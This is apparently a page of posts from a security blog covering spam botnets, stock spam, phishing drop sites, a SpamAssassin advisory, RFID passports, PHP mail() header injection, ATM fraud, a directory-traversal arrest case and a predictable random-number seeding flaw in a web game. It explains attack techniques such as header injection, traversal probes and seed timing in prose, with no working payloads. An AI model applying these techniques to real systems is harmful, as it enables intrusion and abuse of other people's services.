The spam blast did drive up Prime Time’s share price from Monday’s low of around 7 cents to Wednesday’s high of 11 cents, a 57% jump. Thursday morning, however, the bottom dropped out, and the stock fell to under 7 cents. Trading volumes peaked Wednesday as well, at around 1.7 million shares, substantially higher than any day in the month prior. “You can actually see the wave of activity in the stock and compare it with the volume of spam that we trapped,” said [Sophos analyst Ron] O’Brien.

But here’s an interesting new tactic by the good guys:

Last Wednesday afternoon, Prime Time announced that it was ordering a Non Objecting Beneficial Owners (NOBO) list to get a clearer picture of who owned its shares. “The NOBO list will be used to determine the naked short positions in Prime Time Group Inc.,” the company said in a statement. “The finding will then be reported to the [National Association of Securities Dealers] to take action against the violators of the naked short regulations.”

“Naked short” is a investment term that refers to selling short, essentially a bet that the price will drop, but with a twist: “naked” means that the investor sells short without first making sure he can borrow the shares from another investor holding a “long” position on the stock.

I hope this works; it’d be great to see the profit mechanism behind pump-and-dump spam killed off.

Spamnation notes:

Incidentally, the greeting card spam that built the botnet used to promote PRTH.PK and CYTV.OB also continues. It has iterated through another couple of generations: the current incarnation tells recipients to collect their custom Musical ecard or custom Movie-quality ecard or other variants on that theme. We’ve seen about 150 of these in the past three days, suggesting that the unknown senders are probably well on their way to building up another botnet for their next stock spam run.

Spreading trojans via greeting-card spam is a trademark of the gigantic Storm botnet, AFAIK: SecureWorks info, MessageLabs info, spam levels causing DDoS for Canadian networks, DDoS threat for EDU sector.

Tags: , , , , , , ,

Comments

Stop with the fake phish data

An anonymous friend in the anti-phishing community writes:

For those of you who blog and/or have contacts in the general computer user ‘go fight ‘em’ community:

Is there any way you can get the word out that dropping a couple hundred fake logins on a phishing site is NOT appreciated??

It creates havoc for those monitoring the drop since it’s an unbelieveable waste of time and resources to clean up the file. Also, for those drop files that ‘recycle’ after every 10 entries, valid data is lost.

It also creates havoc for those who get these files and try to notify victims. They waste time, too .. pulling legit info from amongst the trash.

I know there are programs out there that create/dump this stuff onto sites and some who call themselves ‘phish phighters’ enjoy the harassment aspect. But it wastes the time/effort of those who are seriously working these things.

Tags: , , ,

Comments (4)

Spam volumes at accidental-DoS levels

Both Jeremy Zawodny and Dale Dougherty at O’Reilly Radar are expressing some pretty serious frustration with the current state of SMTP. I have to say, I’ve been feeling it too.

A couple of months back, our little server came under massive load; this had happened before, and normally in those situations it was a joe-job attack. Switching off all filtering and just collecting the targeted domain’s mail in a buffer for later processing would work to ameliorate the problem, by allowing the load to “drain”. Not this time, though.

Instead, when I turned off the filtering, the load was still too high — the massive volume of spam (and spam blowback / backscatter) was simply too much for the Postfix MTA. The MTA could not handle all the connections and SMTP traffic in time to simply collect all the data and store it in a file!

Looking into the “attack” afterwards, once the load was back under control, it looked likely that it wasn’t really an attack — it was just a volume spike. Massive SMTP load, caused by spammers increasing the volume of their output for no apparent reason. (Since then, spam volumes have been increasing still further on a nearly weekly basis.)

This is the effect of botnets — the amount of compromised hosts is now big enough to amplify spam attacks to server-swamping levels. Our server is not a big one, but it serves less than 50 users’ email I’d say; the user-to-CPU-power ratio is pretty good compared to most ISPs’ servers.

So here’s the thing. New SMTP-based methods of delivering nonspam email — whether based on DKIM, SPF, webs of trusted servers, or whatever — will not be able to operate if they have to compete for TCP connection slots with spammers, since spammers can now swamp the SMTP listener for port 25 with connections. In effect, spam will DDoS legitimate email, no matter what authentication system that legit mail uses to authenticate itself.

This, in my opinion, is a big problem.

What’s the fix? A “new SMTP” on a whole different port, where only authed email is permitted? How do you make that DoS-resistant? Ideas?

(Obviously, counting on spammers to notice or care is not a good approach.)

Tags: , , , , , , ,

Comments (24)

Spam zombies — we need to cure the disease, not suppress the symptoms

Here’s a great presentation from Joe St Sauver presented at the London Action Plan meeting recently: Infected PCs Acting As Spam Zombies: We Need to Cure the Disease, Not Just Suppress the Symptoms

Some key points in brief:

Despite all our ongoing efforts: the spam problem continues to worsen, with nine out of every ten emails now spam; spam volume has increased by 80% over just the past few months and users face a constantly morphing flood of malware trying to take over their computers. Bottom line: we’re losing the war on spam.

The root cause of today’s spam problems is spam zombies, with 85% of all spam being delivered via spam zombies.

The spam zombie problem grows worse every day (with over ninety one million new spam zombies per year)

Users don’t, won’t, or can’t clean up their infected PCs; and ISPs can’t be expected to clean up their infected customers’ PCs.

Filtering port 25 and doing rate limiting is like giving cough syrup to someone with lung cancer — it may suppress some overt symptoms but it doesn’t cure the underlying disease.

Filtered and rate-limited spam zombies CAN still be used for many, many OTHER bad things, and they represent a huge problem if left to languish in a live infected state.

Joe’s take — “we’re in the middle of a worldwide cyber crisis”. I agree. He suggests a new strategy:

It is common for universities to produce and distribute a one-click clean-up-and-secure CD for use by their students and faculty. It’s now time for our governments to produce and distribute an equivalent disk for everyone to use.

I agree the existing schemes are clearly not working; this is an interesting suggestion. Read/listen to the presentation in full for more details; pick up PDF, PPT and video here.

Tags: , , , , , , , , ,

Comments (9)

Massive spam volumes causing ISP delays

Via Steve Champeon’s daily links, the following spam-in-the-news stories illustrate a rising trend:

Huge amounts of spam are said to be responsible for delays in the email network of NZ ISP Xtra.

Several customers have vented their frustrations on an Xtra website message board saying some emails were days late, The New Zealand Herald reports.

… Record volumes of spam meant such problems would be “an unfortunate and on-going reality of the internet not specific to any provider”, he said.

Mr Bowler said Telecom had invested “tens of millions of dollars” in email and anti-spam software and worked closely with two of the world’s leading anti-spam vendors.

Holiday spam e-mails are to blame for slowing message delivery to faculty and staff in schools across Kentucky …

“Some 123-reg customers may have experienced intermittent delays in their emails in the last two weeks. We had received a particularly high level of image-based spam attacks over a short period of time,” the Pipex subsidiary said.

Small businesses are threatening legal action over continuing glitches with Xtra’s email service and the Consumers’ Institute says they may have a case.

Several people have contacted the Herald complaining that delays and non-deliveries of emails over the past three weeks on the Xtra network are severely affecting their businesses. …

The institute’s David Russell said home users could claim compensation for email delays if they had suffered “a real measurable loss”.

Non-commercial customers were covered by the Consumer Guarantees Act and services they paid for had to be of a “reasonable quality”.

Although it might be more difficult for small business owners, they could also have a case, Mr Russell said. “If there has been a considerable amount of money, they could consider legal action or, if the amount was smaller, they could go through the disputes tribunal.”

In other words, the DDOS-like elements of the spam problem are becoming an increasing worry; even with working spam filtering in place, the record size of zombie botnets means that spammers can now destroy organisations’ computing infrastructure, almost accidentally.

Spammers don’t care if an organisation’s infrastructure collapses while they’re sending their spam to it — they just want to maximise exposure of their spam, by any means necessary. If that requires knocking a company off the air entirely for a while, so be it.

I’m not sure what can be done about this, in terms of filtering. It may finally be time to fall back to a “side channel” of trusted, authenticated SMTP peers, and leave the spam-filled world of random email from people and organisations you don’t know to one side, as a lower-priority system which can (and will, frequently) collapse, without affecting the ‘important’ stuff. What a mess. :(

Alternatively, maybe it’s time for governments to start putting serious money into botnet-spam-related arrests and prosecution.

This has additional issues for ISPs, too, btw — I wonder if Earthlink are taking note of that Xtra lawsuit story above….

Tags: , , , , , ,

Comments (2)

SpamAssassin advisory CVE-2006-2447

CVE 2006-2447, in which Radoslaw Zielinski spotted a nasty in spamd’s ‘vpopmail’ support in pretty much all recent versions of Apache SpamAssassin.

If you use spamd with vpopmail, go read the advisory and determine if you need to take action. Not many people will need to, I think; it’s a very rare setup. Still, it’s important to get the warning out there anyway.

The irony is that the bug is triggered partly by the “–paranoid” switch. This was intended to increase security, by increasing paranoia when possibly-unsafe situations arose — hence providing a great demonstration of how the addition of optional code paths, even in the best intentions, can reduce security by allowing bugs to creep in unnoticed.

Tags: , , , ,

Comments

Todd Underwood on BlueSecurity DDoS

Renesys Blog: The Bluesecurity Fiasco – in which Todd Underwood, CSO for Renesys Corporation, applies some real-world knowledge of how the internet works to the “timeline of events” press release, issued by BlueSecurity as part of their ongoing PR about the DDoS.

Judging by the comments at Slashdot, this really needs to be more widely read.

Here’s some highlights:

The timeline from BlueSecurity [...] is frustratingly vague. It uses phrases like ‘tampering with the Internet backbone using a technique called “Blackhole Filtering”.’ As Thomas Pogge, a philosophy professor of mine, used to say: that’s not even wrong yet. There is no “Internet backbone”, there is no technique known as “Blackhole Filtering”, and blackhole routing is not normally described as tampering. So the whole explanation is nonsense. [...] Let’s clear one thing up for the press and everyone else: this event just wasn’t that interesting. The attack against bluesecurity was a run-of-the-mill denial of service attack.

His conclusion:

I believe that the PR engine from BS is in overdrive spinning this event as fast as they can. But the concrete facts being put out by them simply to not add up. In the process they seem to be doing two things: 1) trying to imply or state that someone at UUnet was bribed by a spammer. This is simply ridiculous. I know many of the people who work for UUnet and they are honest, hardworking and extraordinarily clever people. They would not be crooked, or stupid, enough to do such a thing and if they were, they would have been trivially caught by change-management procedures. Moreover, such a change at UUnet (or BTN) wouldn’t have caused the event BS claims to have witnessed anyway. Additionally, 2) BS is trying to deflect attention from the damage that they caused at Six Apart. It would be much better if they could just claim ignorance of the DOS, apologize and move on. I recognize that that isn’t going to happen, but it sure would make this whole thing easier to handle.

Well said.

Of course, this is pretty much immaterial — the people who are using Blue Frog, and vocally supporting Blue Security, don’t really care what happened. All they care about is that someone is taking some kind of direct action against spammers, in some way or another, and if there’s a little “friendly fire” and some bending of the truth, why, this is a war! What, do you support the spammers?

It’s disappointing — the amount of disinformation being successfully pumped out (and accepted!) on this story is massive.

Tags: , , , , , ,

Comments (2)

RFID “e-Passports”

This is what passports containing RFID chips will look like:

Note the little rectangular logo at the bottom. According to Ed Hasbrouck, that’s the ICAO standard logo indicating that this is an RFID passport, and therefore:

identity thieves, terrorists, direct marketers, data aggregators, malicious governments, or anyone else with a radio receiver within 10 meters (30+ feet) or more whenever your passport is read at a border crossing, airport, etc. can secretly and remotely track you, log your movements through the unique “collision avoidance” ID number sent by the chip, and intercept and decrypt all the data (including your digital photo and, in some countries, your digitized fingerprints) needed to “clone” a perfect copy of your passport, forge other identity credentials, or impersonate you.

Of relevance are the comments over at Bruce Schneier’s weblog entry regarding the Riscure research into the Dutch Biometric Passport’s lousy security.

Interestingly, as one commenter there notes, breaking the crypto may be overkill; the knowledge that a person is carrying a passport from a certain country, or set of countries, may be enough for certain attackers.

I asked the Irish Passport Office about their RFID plans last April:

I’m an Irish citizen and passport-holder. I have been following recent discussions in the US regarding the addition of RFID computer chips to US passports, and I note that the US Department of State is now indicating that this measure was made necessary due to recent International Civil Aviation Organization (ICAO) standards — namely ICAO Doc 9303.

As a result, since Ireland is a signatory to ICAO regulations, this raises the question as to whether Irish passports shall shortly include similar RFID or “contactless chip” technology.

Can you tell me:

  • if this is planned?

  • is there a mechanism for public comment on this process?

  • who could I further email to ask about this, if you do not know?

Disappointingly, I never received a reply. :( Someday I should really chase this up.

Update, Oct 17 2006: Well, they never bothered replying. They did, however, introduce RFID chips to Irish passports:

The chip technology allows the information stored in an Electronic Passport to be read by special chip readers at a close distance. The chip incorporates digital signature technology to verify the authenticity of the data stored on the chip.

Tags: , , , , , ,

Comments (2)

Email Injection attacks in PHP via mail()

Apparently, spammers are now exploiting a hole, or holes, in multiple PHP scripts which use the mail() API.

The holes are described at the SecurePHP wiki; basically, the script author inserts CGI fields directly into a message template without stripping newlines, and this allows attackers to create new headers, take over the message body, and generally take over the mail message and destinations entirely.

Funnily enough, these are the same holes Ronald F. Guilmette and I found in FormMail 1.9, and described in our Jan 2002 advisory Anonymous Mail Forwarding Vulnerabilities in FormMail 1.9 (PDF) on page 10, Exploitation of email and realname CGI Parameters. Ah, plus ca change…

Worth noting that perl’s venerable taint checking would have spotted these, if it were used.

Tags: , , , , , ,

Comments (9)

UK ATM fraud in the 1990s

The Register: How ATM fraud nearly brought down British banking. This story is mind-boggling; it claims that UK ATM security had two major issues that have been kept secret since the 1990s:

  • An insecure data format used for the data on the magnetic stripes in one bank’s cards;

  • Another bank’s computing department “going rogue”, “cracking PINs and taking money from customers’ accounts with abandon” as the story puts it. Yikes.

The latter problem is scary, but in my opinion the former problem is more interesting from a computer security point of view.

This is a classic example of bad data format design, as it left the PIN and the account details individually rewritable — in other words, an attacker could (and did) change one while keeping the other intact.

This British Computer Society abstract provides more details on the who, how and where:

… it was revealed that UKP 130,000 had been stolen from Abbey National cardholders during 1994 and 1995 with counterfeit cards. Andrew Stone, a bank security consultant who had been advising Which?, the magazine of the Consumers’ Association, was jailed for five and a half years for the theft. This fraud involved spying on Abbey customers as they used their cards in automated teller machines (ATMs) or cash dispensers… [Stone] recorded card details and personal identification numbers (PINs) using powerful video cameras. The details were then encoded on the magnetic strips of other cards.

Finally, another quote from the Reg story:

why is he telling this explosive story now? Because chip and PIN has been deployed across the UK ATM network. “The vulnerability in the UK ATM network was still there to be exploited — if someone had chanced upon it.”

I wonder if other banking systems worldwide are still vulnerable, however? Did any other banks elsewhere license the vulnerable systems from UK banks, without knowing about these vulnerabilities? How long did it take for them to be fixed, if they were fixed?

Tags: , , , , , ,

Comments (1)

Daniel Cuthbert’s Travesty of Justice

The Samizdata weblog posts more details about the Daniel Cuthbert case, where a UK techie was arrested for allegedly attempting to hack a tsunami-donation site. Here’s what happened:

Daniel Cuthbert saw the devastating images of the Tsunami disaster and decided to donate UKP30 via the website that was hastily set up to be able to process payments. He is a computer security consultant, regarded in his field as an expert and respected by colleagues and employers alike. He entered his full personal details (home address, number, name and full card details). He did not receive confirmation of payment or a reference and became concerned as he has had issues with fraud on his card on a previous occasion. He then did a couple of very basic penetration tests. If they resulted in the site being insecure as he suspected, he would have contacted the authorities, as he had nothing to gain from doing this for fun and keeping the fact to himself that he suspected the site to be a phishing site and all this money pledged was going to some South American somewhere in South America.

The first test he used was the (dot dot slash, 3 times) http://taint.org/ sequence. The ../ command is called a Directory Traversal which allows you to move up the hierarchy of a file. The triple sequence amounts to a DTA (Directory Traversal Attack), allows you to move three times. It is not a complete attack as that would require a further command, it was merely a light ‘knock on the door’. The other test, which constituted an apostrophe (`) was also used. He was then satisfied that the site was safe as his received no error messages in response to his query, then went about his work duties. There were no warnings or dialogue boxes showing that he had accessed an unauthorised area.

20 days later he was arrested at his place of work and had his house searched.

(His actions were detected by the IDS software used by British Telecom.)

In my opinion, this is a travesty of justice.

His actions were entirely understandable, under the circumstances, IMO. They were not hostile activities in themselves — they might have been the prelude to hostility, in other cases, but, as his later activity proved, not in this one.

Instead of making parallels with “rattling the doorknob” or “lurking around the back door of a bank”, a better parallel would be looking through the bank’s front window, from the street!

If only law enforcement took this degree of interest in genuine phishing cases, where innocent parties find their bank accounts emptied by real criminals, like the unprosected phisher in Quebec discussed in this USA Today article!

Appalling.

Tags: , , , , , , , ,

Comments

PRNGs and Groove Theory

Urban Dead is a new browser-based MMORPG that’s become popular recently. I’m not planning to talk about the game itself, at least not until I’ve played it a bit!, but there’s something worth noting here — a cheat called Groove Theory:

Groove Theory was a cheat for Urban Dead that claimed to exploit an apparent lack [sic] of a random number generator in the game, [so] that performing an action exactly eight seconds after a successful action would also be successful.

Kevan, the Urban Dead developer, confirmed that Groove Theory did indeed work, and made this comment after fixing the bug:

There is some pattern to the random numbers, playing around with them; “srand(time())” actually brings back some pretty terrible patterns, and an eight-second wait will catch some of these.

So — here’s my guess as to how this happened.

It appears that Urban Dead is implemented as a CGI script. I’ll speculate that somewhere near the top of the script, there’s a line of code along the lines of srand(time()), as Kevan mentioned. With a sufficiently fast network connection, and a sufficiently unloaded server, you can be reasonably sure that hitting “Refresh” will cause that srand call to be executed on the server within a fraction of a second of your button-press. In other words, through careful timing, the remote user can force the pseudo-random-number generator used to implement rand() into a desired set of states!

As this perl script demonstrates, the output from perl’s rand() is perfectly periodic in its low bits on a modern Linux machine, if constantly reseeded using srand()the demo script’s output decrements from 3 to 0 by 1 every 2 seconds, then repeats the cycle, indefinitely.

I don’t know if Urban Dead is a perl script, PHP, or whatever; but whatever language it’s written in, I’d guess that language uses the same PRNG implementation as perl is using on my Linux box.

As it turns out, this PRNG failing is pretty well-documented in the manual page for rand(3):

on older rand() implementations, and on current implementations on different systems, the lower-order bits are much less random than the higher-order bits. Do not use this function in applications intended to be portable when good randomness is needed.

That manual page also quotes Numerical Recipes in C: The Art of Scientific Computing (William H. Press, Brian P. Flannery, Saul A. Teukolsky, William T. Vetterling; New York: Cambridge University Press, 1992 (2nd ed., p. 277)) as noting:

“If you want to generate a random integer between 1 and 10, you should always do it by using high-order bits, as in

j=1+(int) (10.0*rand()/(RAND_MAX+1.0));

and never by anything resembling

j=1+(rand() % 10);

(which uses lower-order bits).”

I think Groove Theory demonstrates this nicely!

Update: I need to be clearer here.

Most of the Groove Theory issue is caused by the repeated use of srand(). If the script could be seeded once, instead of at every request, or if the seed data came from a secure, non-predictable source like /dev/random, things would be a lot safer.

However, the behaviour of rand() is still an issue though, due to how it’s implemented. The classic UNIX rand() uses the srand() seed directly, to entirely replace the linear congruential PRNG’s state; on top of that, the arithmentic used means that the low-order bits have an extremely obvious, repeating, simple pattern, mapping directly to that seed’s value. This is what gives Groove Theory its practicability by a human, without computer aid; with a more complex algorithm, it’d still be guessable with the aid of a computer, but with the simple PRNG, it’s guessable, unaided.

Update 2: as noted in a comment, Linux glibc’s rand(3) is apparently quite good at producing decent numbers. However, perl’s rand() function doesn’t use that; it uses drand48(), which in glibc is still a linear congruential PRNG and displays the ‘low randomness in low-order bits’ behaviour.

Tags: , , , , , , , ,

Comments (8)

« Previous entries Next Page » Next Page »